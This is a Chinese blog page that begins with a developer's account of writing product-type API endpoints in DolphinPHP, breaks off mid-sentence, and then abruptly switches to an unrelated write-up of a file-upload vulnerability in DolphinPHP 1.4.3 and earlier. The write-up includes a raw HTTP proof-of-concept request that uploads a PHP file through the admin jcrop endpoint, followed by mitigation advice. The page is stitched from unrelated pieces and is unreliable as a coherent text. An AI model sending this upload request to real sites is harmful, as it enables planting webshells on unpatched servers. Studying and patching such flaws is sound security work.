用dolphinphp写商品类型接口

这篇博客主要介绍了如何使用DolphinPHP框架来编写商品类型的接口。作者分享了其两个月未接触代码后的重新开始,并欢迎遇到类似问题的读者联系交流。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

因为之前有同事写了一半,之前只有一个全部,我来了之后又加了几个类型,所以到我这,本来是直接让H5传个状态我这边在判断一下并给H5返回去(比如传1或2我就判断传的是1还是2),结果H5那边说自己处理比较麻烦,让给她一个1一个2写两个接口,就是不用判断直接我这边直接把状态值查出来返回给H5,然后H5那边点击1我就返回1的类型,点击2返回2的类型让我这样写,我只好按照H5的要求来了,谁叫人家是妹子,哎
期间出现太多的问题:
   1 写代码的时候没有理解明白之前同事写的代码,也直接造成我传过去的json数据H5那边显示不出来,回过头再去看之前同事写的代码发现

同事在获取到所有数据后,利用array_filter  回调函数过滤了数组中的元素,并且用 explode() 函数把字符串打散为数组,这样的话json数据传给H5后,H5会快速的将数据展示出来,
2 遇到了基础的数据问题没能快速反应到问题出在哪个位置,问了朋友才理解了,因为H5要的是json数据,我之前传的数据没有转json格式就直接传过去了,导致H5不能用,只好转json格式:return json($data)转完之后,跟之前的js
### DolphinPHP 框架漏洞详情及复现方法 #### 漏洞详情 DolphinPHP 是一个基于 ThinkPHP 5.1.39 LTS 开发的开源 PHP 框架,在其 ≤ 1.4.3 版本中存在文件上传漏洞。具体表现为 `application/admin/controller/Attachment.php` 中的 `jcrop` 函数未对上传文件的后缀名和 MIME 类型进行严格校验,从而允许攻击者上传任意类型的文件到服务器上[^1]。 此漏洞的根本原因在于开发者未能在文件上传过程中实施必要的安全措施,例如验证文件扩展名、检测文件内容类型以及限制可接受的文件大小等操作。由于缺乏这些防护机制,恶意用户能够轻松绕过系统的初步检查并成功上传 WebShell 或其他危险脚本文件。 #### 环境搭建 为了重现该漏洞,需先构建测试环境: - 下载目标版本 (DolphinPHP 1.4.3) 并部署至本地或虚拟机环境中; - 配置好 LAMP/WAMP/MAMP 栈服务以支持运行 PHP 应用程序; - 确认数据库连接正常工作且网站能被访问。 #### POC 构造与利用过程 以下是针对上述提到的 jcrop 文件上传漏洞所设计的一个简单 PoC 脚本: ```bash POST /index.php?s=/admin/attachment/jcrop HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Cache-Control: no-cache ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: application/octet-stream <?php echo 'Vulnerable'; ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` 通过发送以上请求数据包给目标站点 `/index.php?s=/admin/attachment/jcrop` 接口即可尝试触发漏洞完成文件上传动作。如果一切顺利的话,则应该可以在指定目录下找到名为 test.php 的新创建文件,并可通过浏览器直接访问确认是否存在命令执行权限等问题[^4]。 #### 安全建议 为了避免此类安全隐患的发生,应当采取如下改进措施来加强应用程序的安全性: - 对所有外部输入的数据都应进行全面细致地清洗过滤处理。 - 实施严格的白名单策略用于限定只允许特定几种已知合法格式图片作为裁剪素材源材料提交上来。 - 同时还需要启用额外一层防御手段比如存储路径随机化技术防止敏感资源轻易暴露在外网之下容易遭受非法篡改破坏风险威胁等情况发生。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值